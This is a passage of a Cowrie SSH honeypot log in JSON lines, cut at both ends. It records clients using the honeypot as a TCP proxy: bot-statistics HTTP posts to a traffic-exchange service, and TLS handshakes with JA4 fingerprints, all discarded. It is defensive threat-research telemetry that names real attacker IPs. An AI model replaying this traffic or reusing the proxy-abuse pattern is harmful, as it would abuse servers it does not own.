BNJXYqOrqLX8P88HXtWlQ1dOlHmTiMeDeocRcWlMk8u7eRbhxF21pY2zPS6NhmqWRdvGD6skVLio2g0P5hWBshlDjCYFJSJzz0GAdfhnvB1tm0On0eqqmmu0Wlo%2FIe8seM5BT9IQKxONEulWyK2P%2BYNWWs7hH0%2FmGbYbULezpuHnJEgh0F8rmSYz23i7OpmDG3%2BWeBwCRtEmRcBXJ4DegehRyqQJ3%2Bm4VXcWcS6tWZVzaYNG7rj6BwSPp33Q2qrnNO2kFnbro%2FoJEfuSJJoLGIpBdUM8y1ZSTvm%2BO2oNulNoV'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1184\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 OPR/52.0.2871.99\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=aWhOaFhtOXd%2BKCRGYz5IVw%3D%3DDRyOD%2Bz4HWxSV5%2Fnr6ChxikBem%2FK2f6fcaws8vWScuZFm6cY4zD%2BKyRbXief4YN6%2FaHCU5mwM9fC3j%2BzSaBLug4cVm9B1iS3ZjJASfEiUxb5nGEsRz%2BGDBxoeCed6dRFq%2BWKHpvOZ2bUaBK4kA5Ea8MxZyb6BUzKE4k43L%2BvZGOmINlRsgZYn%2B1LjPLnp8b2lBiooIXnDKRCoSLN%2FLF2XMVAh6GWB0SgWfS0O1uTMgTD9SW70zVgMVRJ3FLLr2lqrwhnAKGtVHWoL0HFP9gadqx0T0hn1WkdWVdaBfBp5WXQn9agXmbUWfVmXoj%2BlWAW918KARwODfj9k4%2BBQFjrw6T3%2FQ6JHhT22i2gjsFviucF5E32b%2B5%2Bb0Ui%2BUDFEBsM2ohvTGTl51iGn%2Fzjdm9Qf2m8VJrNBwt1XYh1Qy522LawbsVCeJnMn41rIMNmE96frRfpJa25MOZMD47WLU2UeB9sadvwmSGLZMoqvWJ3Mz4TLH%2Fei3sdj6wTvnNK7tj5y3WlqPCe32OxTctDqERLhERo84rOpp9SX5w9%2F9z9KwXXbrXmWr2MxiIgUp7KgNB8LcQorxQ9IY%2F1IhpEOaxKIViWJl5z0nC9yPha0gS71%2BBqGHlVXvPzmuWTkbqES5Fes3MIBxatK7dm11WIB2lT5zcsOu%2FHGADDb5S4Hi%2FsxEMJMpIfF03T7kpO94vx84bbCcwrq47trxvSpkMpIYX5MP1ykWzHEnyGn3zPgbCL8nINniKK8Zw9ERIYxPzpGyFVIBLY3tccJzfwUxTei%2B6BNJXYqOrqLX8P88HXtWlQ1dOlHmTiMeDeocRcWlMk8u7eRbhxF21pY2zPS6NhmqWRdvGD6skVLio2g0P5hWBshlDjCYFJSJzz0GAdfhnvB1tm0On0eqqmmu0Wlo%2FIe8seM5BT9IQKxONEulWyK2P%2BYNWWs7hH0%2FmGbYbULezpuHnJEgh0F8rmSYz23i7OpmDG3%2BWeBwCRtEmRcBXJ4DegehRyqQJ3%2Bm4VXcWcS6tWZVzaYNG7rj6BwSPp33Q2qrnNO2kFnbro%2FoJEfuSJJoLGIpBdUM8y1ZSTvm%2BO2oNulNoV'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:28.952443Z","src_ip":"113.164.152.20","session":"8d4e9d079a6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:29.211302Z","src_ip":"113.164.152.20","session":"8d4e9d079a6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6 \\x8d/#\\x88M\\x93%\\x06-\\x11\\x97\\xd9\\xca\\xfd{\\x01\\xee\\x06\\xf6\\xd3s\\x02\\x7f\\xd4-\\x18z\\xacq\\xd2 \\x0f10&\\xf0\\xd5\\xf6\\x82\\xf3\\xb9\\x98U\\xa7\\xb9)\\x0f\\xc4\\x1b\\xe0\\x89k\\xe4\\xfb\\xf91\\x1a#w,\\x10\\x04\\xd4\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 C\\xf0\\x88\\x93\\xe5\\xe9\\x95\\xcf)\\x92r`E/\\xc7\\xfd\\x1a>\\xe3\\xbc=QN\\x00p\\xee\\xcdY]\\xab\\x1f.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd6 \\x8d/#\\x88M\\x93%\\x06-\\x11\\x97\\xd9\\xca\\xfd{\\x01\\xee\\x06\\xf6\\xd3s\\x02\\x7f\\xd4-\\x18z\\xacq\\xd2 \\x0f10&\\xf0\\xd5\\xf6\\x82\\xf3\\xb9\\x98U\\xa7\\xb9)\\x0f\\xc4\\x1b\\xe0\\x89k\\xe4\\xfb\\xf91\\x1a#w,\\x10\\x04\\xd4\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 C\\xf0\\x88\\x93\\xe5\\xe9\\x95\\xcf)\\x92r`E/\\xc7\\xfd\\x1a>\\xe3\\xbc=QN\\x00p\\xee\\xcdY]\\xab\\x1f.\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:29.215221Z","src_ip":"113.164.152.20","session":"8d4e9d079a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.6","message":"Connection lost after 16.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:29.442793Z","src_ip":"23.175.50.52","session":"f7be67cb0dd3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:29.737489Z","session":"8d4e9d079a6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:30.004364Z","src_ip":"113.164.152.20","session":"8d4e9d079a6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5\\x91\\xe3\\x87\\x92\\x14R\\x87\\xd6\\xfb\\xb6\\xca\\xb3I\\x93\\xbct\\x16\\xf6H\\xe76\\xdc\\xa1\\x82\\xe4\\x98\\xf0\\x90\\xcdL\\xf0 .\\xdb\\x01\\x9b\\xb0\\x8b\\xcc\\xd4A7l\\xd0\\x92\\xd5\\x03S\\xee\\xcc\\xd8I(:\\x87\\x9eZ\\xe0\\x98\"\\x86\\xf1\\x91\\xe4\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 EL\\x88\\xa4\\x0en\\xaa\\x11\\x00.\\xe4X\\xb6(\\xafh\\xff\"\\xce\\xaf?\\x17\\xcf\\xa9\\xb6i$\\xec>_l\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5\\x91\\xe3\\x87\\x92\\x14R\\x87\\xd6\\xfb\\xb6\\xca\\xb3I\\x93\\xbct\\x16\\xf6H\\xe76\\xdc\\xa1\\x82\\xe4\\x98\\xf0\\x90\\xcdL\\xf0 .\\xdb\\x01\\x9b\\xb0\\x8b\\xcc\\xd4A7l\\xd0\\x92\\xd5\\x03S\\xee\\xcc\\xd8I(:\\x87\\x9eZ\\xe0\\x98\"\\x86\\xf1\\x91\\xe4\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\n\\n\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\n\\n\\x00\\x01\\x00\\x00\\x1d\\x00 EL\\x88\\xa4\\x0en\\xaa\\x11\\x00.\\xe4X\\xb6(\\xafh\\xff\"\\xce\\xaf?\\x17\\xcf\\xa9\\xb6i$\\xec>_l\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:30.007737Z","src_ip":"113.164.152.20","session":"8d4e9d079a6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:30.594041Z","src_ip":"113.164.152.20","session":"8d4e9d079a6d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:30.624112Z","session":"8aa5e79e67fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:30.638810Z","src_ip":"23.148.145.132","session":"8aa5e79e67fa","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03t.#\\x8fv\\x95\\xbew<cG=\\xd8\\xd6\\x10\\xaaLm\\xe6\\xc7\\xe8\\xe5\\xfbwZvA\\xa1\\xfecz\\x87 \\xa8T\\x14\\xe8\\xa6\\xa3\\xd8\\x88\\xeeC\\x0b\\xb1R\\xd7\\r,$\\x8d\\x1b\\x86*\\xae1\\x03=E\\x07\\xba\\xc5\\xec|0\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 g\\x14b\\xc4\\x93r\\xf7\\xc2U\\x00\\x1b\\x0e\\x9b@\\xe6w\\x8c\\x1b\\x9dL\\x02\\x8a\\xce\\xf6\\xa0.;`\\xc2;\\xd6Z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03t.#\\x8fv\\x95\\xbew<cG=\\xd8\\xd6\\x10\\xaaLm\\xe6\\xc7\\xe8\\xe5\\xfbwZvA\\xa1\\xfecz\\x87 \\xa8T\\x14\\xe8\\xa6\\xa3\\xd8\\x88\\xeeC\\x0b\\xb1R\\xd7\\r,$\\x8d\\x1b\\x86*\\xae1\\x03=E\\x07\\xba\\xc5\\xec|0\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xca\\xca\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 g\\x14b\\xc4\\x93r\\xf7\\xc2U\\x00\\x1b\\x0e\\x9b@\\xe6w\\x8c\\x1b\\x9dL\\x02\\x8a\\xce\\xf6\\xa0.;`\\xc2;\\xd6Z\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0